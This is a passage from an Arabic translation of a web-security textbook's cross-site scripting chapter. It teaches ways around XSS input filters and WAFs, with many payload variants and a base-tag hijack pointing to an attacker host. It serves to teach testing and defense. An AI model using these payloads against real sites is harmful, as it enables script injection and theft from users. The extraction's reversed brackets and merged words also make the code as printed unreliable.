‫ﺍﻟﺠﺪﻳﺪﻣﺼﺪﺭ ﺍﻟﺤﺪﺙﺗﻌُﺪ ﻫﺬﻩ ﺍﻟﻌﻼﻣﺔ ﺫﺍﺕ ﺃﻫﻤﻴﺔ ﺧﺎﺻﺔ ﻋﻨﺪ ﺍﺳﺘﻬﺪﺍﻑ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ‪ .‬ﻋﻠﻰ ﻋﻜﺲ ﺃﻱ‬
‫ﻭﺳﻮﻡﺳﺎﺑﻘﺔ ﻟـ ‪ ،HTML5‬ﻳﺘﻀﻤﻦ ﺍﺳﻤﻬﺎ ﺷﺮﻃﺔ‪ ،‬ﻟﺬﺍ ﻗﺪ ﻳﺆﺩﻱ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﺇﻟﻰ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺪﻳﻤﺔ‬
‫ﺍﻟﻘﺎﺉﻤﺔﻋﻠﻰ ﺍﻟﺘﻌﺎﺑﻴﺮ ﺍﻟﻌﺎﺩﻳﺔ ﺍﻟﺘﻲ ﺗﻔﺘﺮﺽ ﺃﻥ ﺃﺳﻤﺎء ﺍﻟﻌﻼﻣﺎﺕ ﻻ ﺗﺤﺘﻮﻱ ﺇﻻ ﻋﻠﻰ ﺃﺣﺮﻑ‪.‬‬
‫‪459‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺍﻷﻧﻤﺎﻁﺍﻟﺘﻲ ﻳﺘﻢ ﺗﻘﻴﻴﻤﻬﺎ ﺩﻳﻨﺎﻣﻴﻜﻴﺎً‬


‫ﺗﺪﻋﻢﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﺳﺘﺨﺪﺍﻡ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺿﻤﻦ ﺃﻧﻤﺎﻁ ‪ CSS‬ﺍﻟﻤﻘُﻴﻤّﺔ ﺩﻳﻨﺎﻣﻴﻜﻴﺎً‪ .‬ﻳﻌﻤﻞ‬
‫ﺍﻟﻤﺜﺎﻝﺍﻟﺘﺎﻟﻲ ﻋﻠﻰ ‪ IE7‬ﻭﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﻗﺪﻡ‪ ،‬ﻭﻛﺬﻟﻚ ﻋﻠﻰ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﺣﺪﺙ ﻋﻨﺪ ﺍﻟﺘﺸﻐﻴﻞ ﻓﻲ‬
‫ﻭﺿﻊﺍﻟﺘﻮﺍﻓﻖ‪:‬‬

‫<((‪>x style=x:expression)alert)1‬‬

‫ﺃﺯﺍﻟﺖﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﺣﺪﺙ ﻣﻦ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﺩﻋﻢ ﺍﻟﺼﻴﻐﺔ ﺍﻟﺴﺎﺑﻘﺔ‪ ،‬ﺑﺤﺠﺔ ﺃﻥ‬
‫ﺍﺳﺘﺨﺪﺍﻣﻬﺎﻋﻤﻠﻴﺎً ﻛﺎﻥ ﻳﻘﺘﺼﺮ ﻋﻠﻰ ﻫﺠﻤﺎﺕ ‪ .XSS‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﺣﺪﺙ ﻣﻦ ﻣﺘﺼﻔﺢ‬
‫ﺇﻧﺘﺮﻧﺖﺇﻛﺴﺒﻠﻮﺭﺭ‪ ،‬ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻣﺎ ﻳﻠﻲ ﻟﺘﺤﻘﻴﻖ ﻧﻔﺲ ﺍﻟﻐﺮﺽ‪:‬‬

‫<(‪>x style=behavior:url)#default#time2( onbegin=alert)1‬‬

‫ﻛﺎﻥﻣﺘﺼﻔﺢ ‪ Firefox‬ﻳﺴﺘﺨﺪﻡ ﻟﻠﺴﻤﺎﺡ ﺑﺎﻟﻬﺠﻤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ‪ CSS‬ﻋﺒﺮﺭﺑﻂ ‪moz‬‬


‫ﺍﻟﺨﺎﺻﻴﺔ‪،‬ﻭﻟﻜﻦ ﺍﻟﻘﻴﻮﺩ ﺍﻟﻤﻔﺮﻭﺿﺔ ﻋﻠﻰ ﻫﺬﻩ ﺍﻟﻤﻴﺰﺓ ﺗﻌﻨﻲ ﺃﻧﻬﺎ ﺃﺻﺒﺤﺖ ﺍﻵﻥ ﺃﻗﻞ ﻓﺎﺉﺪﺓ ﻓﻲ ﻣﻌﻈﻢ‬
‫ﺳﻴﻨﺎﺭﻳﻮﻫﺎﺕ‪.XSS‬‬

‫ﺗﺠﺎﻭﺯﺍﻟﻤﺮﺷﺤﺎﺕ‪HTML :‬‬
‫ﻭﺻﻔﺖﺍﻷﻗﺴﺎﻡ ﺍﻟﺴﺎﺑﻘﺔ ﻃﺮﻗﺎً ﻋﺪﻳﺪﺓ ﻟﺘﻨﻔﻴﺬ ﺃﻛﻮﺍﺩ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﻣﻦ ﺩﺍﺧﻞ ﺻﻔﺤﺔ ‪ .HTML‬ﻓﻲ‬
‫ﻛﺜﻴﺮﻣﻦ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻗﺪ ﺗﺠﺪ ﺃﻧﻪ ﻳﻤﻜﻦ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻰ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ ﺑﺒﺴﺎﻃﺔ ﻋﻦ‬
‫ﻃﺮﻳﻖﺍﻟﺘﺒﺪﻳﻞ ﺇﻟﻰ ﻃﺮﻳﻘﺔ ﻣﺨﺘﻠﻔﺔ ﻭﺃﻗﻞ ﺷﻴﻮﻋﺎً ﻟﺘﻨﻔﻴﺬ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ‪ .‬ﺇﺫﺍ ﻓﺸﻞ ﺫﻟﻚ‪ ،‬ﻓﻌﻠﻴﻚ‬
‫ﺍﻟﺒﺤﺚﻋﻦ ﻃﺮﻕ ﻟﺘﻌﺘﻴﻢ ﻫﺠﻮﻣﻚ‪ .‬ﻋﺎﺩﺓ ًﻣﺎ ﻳﻤﻜﻨﻚ ﺍﻟﻘﻴﺎﻡ ﺑﺬﻟﻚ ﻋﻦ ﻃﺮﻳﻖ ﺇﺩﺧﺎﻝ ﺍﺧﺘﻼﻓﺎﺕ ﻏﻴﺮ‬
‫ﻣﺘﻮﻗﻌﺔﻓﻲ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ‪ ،‬ﻳﻘﺒﻠﻬﺎ ﺍﻟﻤﺮﺷﺢ ﻭﻳﺘﺤﻤﻠﻬﺎ ﺍﻟﻤﺘﺼﻔﺢ ﻋﻨﺪ ﺇﺭﺟﺎﻉ ﺍﻟﻤﺪﺧﻼﺕ‪ .‬ﻳﺘﻨﺎﻭﻝ ﻫﺬﺍ‬
‫ﺍﻟﻘﺴﻢﻃﺮﻕ ﺗﻌﺘﻴﻢ ﺑﻨﺎء ﺟﻤﻠﺔ ‪ HTML‬ﻟﺘﻌﻄﻴﻞ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺸﺎﺉﻌﺔ‪ .‬ﻳﻄﺒﻖ ﺍﻟﻘﺴﻢ ﺍﻟﺘﺎﻟﻲ ﺍﻟﻤﺒﺎﺩﺉ‬
‫ﻧﻔﺴﻬﺎﻋﻠﻰ ﺑﻨﺎء ﺟﻤﻠﺔ ‪ JavaScript‬ﻭ‪.VBScript‬‬

‫ﻋﺎﺩﺓ ًﻣﺎ ﺗﺴﺘﺨﺪﻡ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ‪ ،‬ﺍﻟﻤﺼﻤﻤﺔ ﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ ‪ ،XSS‬ﺗﻌﺒﻴﺮﺍﺕ‬
‫ﻋﺎﺩﻳﺔﺃﻭ ﺗﻘﻨﻴﺎﺕ ﺃﺧﺮﻯ ﻟﺘﺤﺪﻳﺪ ﻣﻜﻮﻧﺎﺕ ‪ HTML‬ﺍﻟﺮﺉﻴﺴﻴﺔ‪ ،‬ﻣﺜﻞ ﺃﻗﻮﺍﺱ ﺍﻟﻮﺳﻮﻡ‪ ،‬ﻭﺃﺳﻤﺎء ﺍﻟﻮﺳﻮﻡ‪،‬‬
‫ﻭﺃﺳﻤﺎءﺍﻟﺴﻤﺎﺕ‪ ،‬ﻭﻗﻴﻤﻬﺎ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻗﺪ ﻳﺴﻌﻰ ﺍﻟﻤﺮﺷﺢ ﺇﻟﻰ ﺣﻈﺮ ﺍﻹﺩﺧﺎﻻﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ‬
‫ﻋﻠﻰ‪ HTML‬ﻭﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ ﺃﺳﻤﺎء ﻭﺳﻮﻡ ﺃﻭ ﺳﻤﺎﺕ ﻣﺤﺪﺩﺓ ﻣﻌﺮﻭﻓﺔ ﺑﺘﻤﻜﻴﻦ ﺇﺩﺧﺎﻝ ﺍﻟﻨﺼﻮﺹ‬
‫ﺍﻟﺒﺮﻣﺠﻴﺔ‪،‬ﺃﻭ ﻗﺪ ﻳﺤﺎﻭﻝ ﺣﻈﺮ ﻗﻴﻢ ﺍﻟﺴﻤﺎﺕ ﺍﻟﺘﻲ ﺗﺒﺪﺃ ﺑﺒﺮﻭﺗﻮﻛﻮﻝ ﻧﺼﻲ ﺯﺍﺉﻒ‪ .‬ﻳﻤﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻌﺪﻳﺪ‬
‫ﻣﻦﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺑﻮﺿﻊ ﺃﺣﺮﻑ ﻏﻴﺮ ﻣﺄﻟﻮﻓﺔ ﻓﻲ ﻧﻘﺎﻁ ﺭﺉﻴﺴﻴﺔ ﺩﺍﺧﻞ ‪ HTML‬ﺑﻄﺮﻳﻘﺔ ﻳﻤﻜﻦ‬
‫ﻟﻤﺘﺼﻔﺢﻭﺍﺣﺪ ﺃﻭ ﺃﻛﺜﺮ ﺗﺤﻤﻠﻬﺎ‪.‬‬

‫ﻟﺮﺅﻳﺔﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺔ ﻓﻲ ﺍﻟﻌﻤﻞ‪ ،‬ﻓﻜﺮ ﻓﻲ ﺍﻻﺳﺘﻐﻼﻝ ﺍﻟﺒﺴﻴﻂ ﺍﻟﺘﺎﻟﻲ‪:‬‬

‫<‪>img onerror=alert)1( src=a‬‬

‫ﻳﻤﻜﻨﻚﺗﻌﺪﻳﻞ ﻫﺬﻩ ﺍﻟﺼﻴﻐﺔ ﺑﻄﺮﻕ ﻋﺪﻳﺪﺓ‪ ،‬ﻣﻊ ﺍﺳﺘﻤﺮﺍﺭ ﺗﺸﻐﻴﻞ ﺍﻟﻜﻮﺩ ﺍﻟﺨﺎﺹ ﺑﻚ ﻋﻠﻰ ﻣﺘﺼﻔﺢ‬
‫ﻭﺍﺣﺪﻋﻠﻰ ﺍﻷﻗﻞ‪ .‬ﺳﻨﺘﻨﺎﻭﻝ ﻛﻼً ﻣﻨﻬﺎ ﻋﻠﻰ ﺣﺪﺓ‪ .‬ﻋﻤﻠﻴﺎً‪ ،‬ﻗﺪ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺩﻣﺞ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺎﺕ‬
‫ﻓﻲﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻭﺍﺣﺪﺓ ﻟﺘﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻷﻛﺜﺮ ﺗﻌﻘﻴﺪﺍً‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪460‬‬

‫ﺍﺳﻢﺍﻟﻌﻼﻣﺔ‬
‫ﺑﺪءﺍًﻣﻦ ﺍﺳﻢ ﻋﻼﻣﺔ ﺍﻻﻓﺘﺘﺎﺡ‪ ،‬ﻳﻤﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻷﻛﺜﺮ ﺑﺴﺎﻃﺔ ﻭﺳﻬﻮﻟﺔ ﺑﺒﺴﺎﻃﺔ ﻋﻦ ﻃﺮﻳﻖ‬
‫ﺗﻐﻴﻴﺮﺣﺎﻟﺔ ﺍﻷﺣﺮﻑ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ‪:‬‬

‫<‪>iMg onerror=alert)1( src=a‬‬

‫ﻋﻼﻭﺓﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﻳﻤﻜﻨﻚ ﺇﺩﺭﺍﺝ ﺑﺎﻳﺘﺎﺕ ‪ NULL‬ﻓﻲ ﺃﻱ ﻣﻮﺿﻊ‪:‬‬

‫<‪>i]%00[mg onerror=alert)1( src=a‬‬


‫<‪>]%00[img onerror=alert)1( src=a‬‬

‫)ﻓﻲ ﻫﺬﻩ ﺍﻷﻣﺜﻠﺔ‪[XX%] ،‬ﻳﺸﻴﺮ ﺇﻟﻰ ﺍﻟﺤﺮﻑ ﺍﻟﺤﺮﻓﻲ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺭﻣﺰ ‪ ASCII‬ﺍﻟﺴﺪﺍﺳﻲ ﻋﺸﺮ‪XX‬‬
‫ﻋﻨﺪﺇﺭﺳﺎﻝ ﻫﺠﻮﻣﻚ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﺳﺘﺴﺘﺨﺪﻡ ﻋﺎﺩﺓ ًﺻﻴﻐﺔ ﺍﻟﺤﺮﻑ ﺍﻟﻤﺮُﻣﺰَّ ﺑﺮﺍﺑﻂ ‪ .URL‬ﻋﻨﺪ ﻣﺮﺍﺟﻌﺔ‬
‫ﺍﺳﺘﺠﺎﺑﺔﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻋﻠﻴﻚ ﺍﻟﺒﺤﺚ ﻋﻦ ﺍﻟﺤﺮﻑ ﺍﻟﻤﻔُﻜﻚَّ ﺣﺮﻓﻴﺎً ﺍﻟﺬﻱ ﻳﻈﻬﺮ‪.‬‬

‫ﻧﺼﻴﺤﺔﺗﻌﻤﻞ ﺧﺪﻋﺔ ﺍﻟﺒﺎﻳﺘﺎﺕ ﺍﻟﻔﺎﺭﻏﺔ )‪ (NULL‬ﻋﻠﻰ ﻣﺘﺼﻔﺢ ‪ Internet Explorer‬ﻓﻲ ﺃﻱ‬


‫ﻣﻜﺎﻥﺿﻤﻦ ﺻﻔﺤﺔ ‪ .HTML‬ﺍﻻﺳﺘﺨﺪﺍﻡ ﺍﻟﻮﺍﺳﻊ ﻟﻠﺒﺎﻳﺘﺎﺕ ﺍﻟﻔﺎﺭﻏﺔ )‪ (NULL‬ﻓﻲ ﻫﺠﻤﺎﺕ ‪XSS‬‬
‫ﻏﺎﻟﺒﺎًﻣﺎ ﻳﻮﻓﺮ ﻃﺮﻳﻘﺔ ﺳﺮﻳﻌﺔ ﻟﺘﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻟﺘﻮﻗﻴﻊ ﺍﻟﺘﻲ ﻻ ﺗﺘﻌﺮﻑ ﻋﻠﻰ ﺳﻠﻮﻙ ‪.IE‬‬
‫ﻟﻘﺪﺃﺛﺒﺖ ﺍﺳﺘﺨﺪﺍﻡ ﺑﺎﻳﺘﺎﺕ ‪ NULL‬ﻓﻌﺎﻟﻴﺘﻪ ﺗﺎﺭﻳﺨﻴﺎً ﺿﺪ ﺟﺪﺭﺍﻥ ﺣﻤﺎﻳﺔ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ )‪WAFs‬‬
‫( ﺍﻟﻤﻬُﻴﺄﺓ ﻟﺤﻈﺮ ﺍﻟﻄﻠﺒﺎﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﺳﻼﺳﻞ ﻫﺠﻤﺎﺕ ﻣﻌﺮﻭﻓﺔ‪ .‬ﻭﻷﻥ ﺟﺪﺭﺍﻥ ﺣﻤﺎﻳﺔ‬
‫ﺗﻄﺒﻴﻘﺎﺕﺍﻟﻮﻳﺐ )‪ (WAFs‬ﺗﻜُﺘﺐ ﻋﺎﺩﺓ ًﺑﺎﺳﺘﺨﺪﺍﻡ ﺷﻴﻔﺮﺓ ﺃﺻﻠﻴﺔ ﻷﺳﺒﺎﺏ ﺗﺘﻌﻠﻖ ﺑﺎﻷﺩﺍء‪ ،‬ﻓﺈﻥ ﺑﺎﻳﺖ‬
‫‪ NULL‬ﻳﻨُﻬﻲ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺘﻲ ﻳﻈﻬﺮ ﻓﻴﻬﺎ‪ .‬ﻫﺬﺍ ﻳﻤﻨﻊ ﺟﺪﺍﺭ ﺣﻤﺎﻳﺔ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﻣﻦ ﺭﺅﻳﺔ‬
‫ﺍﻟﺤﻤﻮﻟﺔﺍﻟﻀﺎﺭﺓ ﺍﻟﺘﻲ ﺗﺄﺗﻲ ﺑﻌﺪ ‪) NULL‬ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ ‪ 16‬ﻟﻤﺰﻳﺪ ﻣﻦ ﺍﻟﺘﻔﺎﺻﻴﻞ(‪.‬‬

‫ﻋﻨﺪﺍﻟﻤﻀﻲ ﻗﺪﻣﺎً ﻓﻲ ﺃﺳﻤﺎء ﺍﻟﻌﻼﻣﺎﺕ‪ ،‬ﺇﺫﺍ ﻗﻤﺖ ﺑﺘﻌﺪﻳﻞ ﺍﻟﻤﺜﺎﻝ ﻗﻠﻴﻼ‪ ً،‬ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ‬
‫ﺃﺳﻤﺎءﻋﻼﻣﺎﺕ ﻋﺸﻮﺍﺉﻴﺔ ﻟﺘﻘﺪﻳﻢ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ‪ ،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ ﺗﺤﻈﺮ‬
‫ﺍﻟﻌﻼﻣﺎﺕﺍﻟﻤﺴﻤﺎﺓ ﺍﻟﻤﺤﺪﺩﺓ ﻓﻘﻂ‪:‬‬

‫<‪>/x‬ﺍﻧﻘﺮ ﻫﻨﺎ<‪>x onclick=alert)1( src=a‬‬

‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺇﺿﺎﻓﺔ ﻭﺳﻮﻡ ﺟﺪﻳﺪﺓ ﺑﺄﺳﻤﺎء ﻣﺨﺘﻠﻔﺔ‪ ،‬ﻭﻟﻜﻨﻚ ﻻ ﺗﺠﺪ ﻃﺮﻳﻘﺔ‬
‫ﻻﺳﺘﺨﺪﺍﻣﻬﺎﻟﺘﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ ﺍﻟﺒﺮﻣﺠﻴﺔ ﻣﺒﺎﺷﺮﺓ‪ ً.‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺷﻦ ﻫﺠﻮﻡ‬
‫ﺑﺎﺳﺘﺨﺪﺍﻡﺗﻘﻨﻴﺔ ﺗﻌُﺮﻑ ﺑﺎﺳﻢ "ﺍﺧﺘﻄﺎﻑ ﺍﻟﻮﺳﻮﻡ ﺍﻷﺳﺎﺳﻴﺔ"‪.‬ﺍﻟﻘﺎﻋﺪﺓ<ﺗﺴُﺘﺨﺪﻡ ﺍﻟﻌﻼﻣﺔ ﻟﺘﺤﺪﻳﺪ ﻋﻨﻮﺍﻥ‬
‫‪ URL‬ﺍﻟﺬﻱ ﻳﺠﺐ ﻋﻠﻰ ﺍﻟﻤﺘﺼﻔﺢ ﺍﺳﺘﺨﺪﺍﻣﻪ ﻟﺤﻞ ﺃﻱ ﻋﻨﺎﻭﻳﻦ ‪ URL‬ﻧﺴﺒﻴﺔ ﺗﻈﻬﺮ ﻻﺣﻘﺎً ﺩﺍﺧﻞ‬
‫ﺍﻟﺼﻔﺤﺔ‪.‬ﺇﺫﺍ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺇﺿﺎﻓﺔ ﻋﻼﻣﺔ > ﺟﺪﻳﺪﺓ‪،‬ﺍﻟﻘﺎﻋﺪﺓ<ﺍﻟﻌﻼﻣﺔ‪ ،‬ﻭﺗﻘﻮﻡ ﺍﻟﺼﻔﺤﺔ ﺑﺄﻱ >ﻧﺺ<‬
‫ﻳﺘﻀﻤﻦﺫﻟﻚ ﺑﻌﺪ ﻧﻘﻄﺔ ﺍﻻﻧﻌﻜﺎﺱ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻋﻨﺎﻭﻳﻦ ‪ URL‬ﺍﻟﻨﺴﺒﻴﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺗﺤﺪﻳﺪ ﻋﻨﻮﺍﻥ ‪URL‬‬
‫ﺃﺳﺎﺳﻲﻟﺨﺎﺩﻡ ﺗﺘﺤﻜﻢ ﻓﻴﻪ‪ .‬ﻋﻨﺪﻣﺎ ﻳﺤُﻤﻞّ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﺍﻟﻤﺤﺪﺩﺓ ﻓﻲ ﺑﻘﻴﺔ ﺻﻔﺤﺔ‬
‫‪ ،HTML‬ﻳﺘﻢ ﺗﺤﻤﻴﻠﻬﺎ ﻣﻦ ﺍﻟﺨﺎﺩﻡ ﺍﻟﺬﻱ ﺣﺪﺩﺗﻪ‪ ،‬ﻣﻊ ﺍﺳﺘﻤﺮﺍﺭ ﺗﻨﻔﻴﺬﻫﺎ ﻓﻲ ﺳﻴﺎﻕ ﺍﻟﺼﻔﺤﺔ ﺍﻟﺘﻲ‬
‫ﺍﺳﺘﺪﻋﺘﻬﺎ‪.‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪:‬‬

‫‪>base href=”http://mdattacker.net/badscripts/”<. . .‬‬

‫<‪>script src=”goodscript.js”<>/script‬‬
‫‪461‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻭﻓﻘﺎﻟﻠﻤﻮﺍﺻﻔﺎﺕ‪> ،‬ﺍﻟﻘﺎﻋﺪﺓ<ﻳﺠﺐ ﺃﻥ ﺗﻈﻬﺮ ﺍﻟﻌﻼﻣﺎﺕ ﺩﺍﺧﻞ >ﺍﻟﺮﺃﺱ<‬


‫ﻗﺴﻢﻣﻦ ﺻﻔﺤﺔ ‪ .HTML‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﺈﻥ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ‪ ،‬ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﻓﺎﻳﺮﻓﻮﻛﺲ‪ ،‬ﺗﻘﺒﻞ‬
‫>ﺍﻟﻘﺎﻋﺪﺓ<ﺍﻟﻌﻼﻣﺎﺕ ﺍﻟﺘﻲ ﺗﻈﻬﺮ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﻓﻲ ﺍﻟﺼﻔﺤﺔ‪ ،‬ﻣﻤﺎ ﻳﺆﺩﻱ ﺇﻟﻰ ﺗﻮﺳﻴﻊ ﻧﻄﺎﻕ ﻫﺬﺍ ﺍﻟﻬﺠﻮﻡ‬
‫ﺑﺸﻜﻞﻛﺒﻴﺮ‪.‬‬

‫ﺍﻟﻤﺴﺎﻓﺔﺑﻌﺪ ﺍﺳﻢ ﺍﻟﻌﻼﻣﺔ‬


‫ﻳﻤﻜﻦﺍﺳﺘﺒﺪﺍﻝ ﺍﻟﻤﺴﺎﻓﺔ ﺑﻴﻦ ﺍﺳﻢ ﺍﻟﻌﻼﻣﺔ ﻭﺍﺳﻢ ﺍﻟﺴﻤﺔ ﺍﻷﻭﻝ ﺑﻌﺪﺓ ﺃﺣﺮﻑ‪:‬‬

‫<‪>img/anyjunk/onerror=alert)1( src=a‬‬
‫<‪>img/'onerror=alert)1( src=a‬‬
‫<‪>img/”onerror=alert)1( src=a‬‬
‫<‪>img]%0a[onerror=alert)1( src=a‬‬
‫<‪>img]%0d[onerror=alert)1( src=a‬‬
‫<‪>img]%09[onerror=alert)1( src=a‬‬
‫<‪>img/onerror=alert)1( src=a‬‬

‫ﻻﺣﻆﺃﻧﻪ ﺣﺘﻰ ﻋﻨﺪﻣﺎ ﻻ ﻳﺘﻄﻠﺐ ﺍﻟﻬﺠﻮﻡ ﺃﻱ ﺳﻤﺎﺕ ﻋﻼﻣﺔ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺩﺍﺉﻤﺎً ﻣﺤﺎﻭﻟﺔ ﺇﺿﺎﻓﺔ‬
‫ﺑﻌﺾﺍﻟﻤﺤﺘﻮﻯ ﻏﻴﺮ ﺍﻟﻀﺮﻭﺭﻱ ﺑﻌﺪ ﺍﺳﻢ ﺍﻟﻌﻼﻣﺔ‪ ،‬ﻷﻥ ﻫﺬﺍ ﻳﺘﺠﺎﻭﺯ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺒﺴﻴﻄﺔ‪:‬‬

‫<‪>/script‬ﺗﻨﺒﻴﻪ)‪>script/anyjunk<(1‬‬

‫ﺃﺳﻤﺎءﺍﻟﺴﻤﺎﺕ‬
‫ﺩﺍﺧﻞﺍﺳﻢ ﺍﻟﺴﻤﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻧﻔﺲ ﺧﺪﻋﺔ ﺑﺎﻳﺖ ‪ NULL‬ﺍﻟﻤﻮﺿﺤﺔ ﺳﺎﺑﻘﺎً‪ .‬ﻫﺬﺍ ﻳﺘﺠﺎﻭﺯ‬
‫ﺍﻟﻌﺪﻳﺪﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺒﺴﻴﻄﺔ ﺍﻟﺘﻲ ﺗﺤﺎﻭﻝ ﺣﻈﺮ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ﻋﻦ ﻃﺮﻳﻖ ﺣﻈﺮ ﺃﺳﻤﺎء‬
‫ﺍﻟﺴﻤﺎﺕﺍﻟﺘﻲ ﺗﺒﺪﺃ ﺑـﻋﻠﻰ‪:‬‬

‫<‪>img o]%00[nerror=alert)1( src=a‬‬

‫ﻓﻮﺍﺻﻞﺍﻟﺴﻤﺎﺕ‬
‫ﻓﻲﺍﻟﻤﺜﺎﻝ ﺍﻷﺻﻠﻲ‪ ،‬ﻟﻢ ﺗﻜﻦ ﻗﻴﻢ ﺍﻟﺴﻤﺎﺕ ﻣﺤُﺪﺩﺓ‪ ،‬ﻣﻤﺎ ﻳﺘﻄﻠﺐ ﻣﺴﺎﻓﺔ ﺑﻌﺪ ﻗﻴﻤﺔ ﺍﻟﺴﻤﺔ ﻟﻺﺷﺎﺭﺓ‬
‫ﺇﻟﻰﺍﻧﺘﻬﺎءﻫﺎ ﻗﺒﻞ ﺇﺿﺎﻓﺔ ﺳﻤﺔ ﺃﺧﺮﻯ‪ .‬ﻳﻤﻜﻦ ﺗﺤﺪﻳﺪ ﺍﻟﺴﻤﺎﺕ ﺍﺧﺘﻴﺎﺭﻳﺎً ﺑﻌﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﺰﺩﻭﺟﺔ ﺃﻭ‬
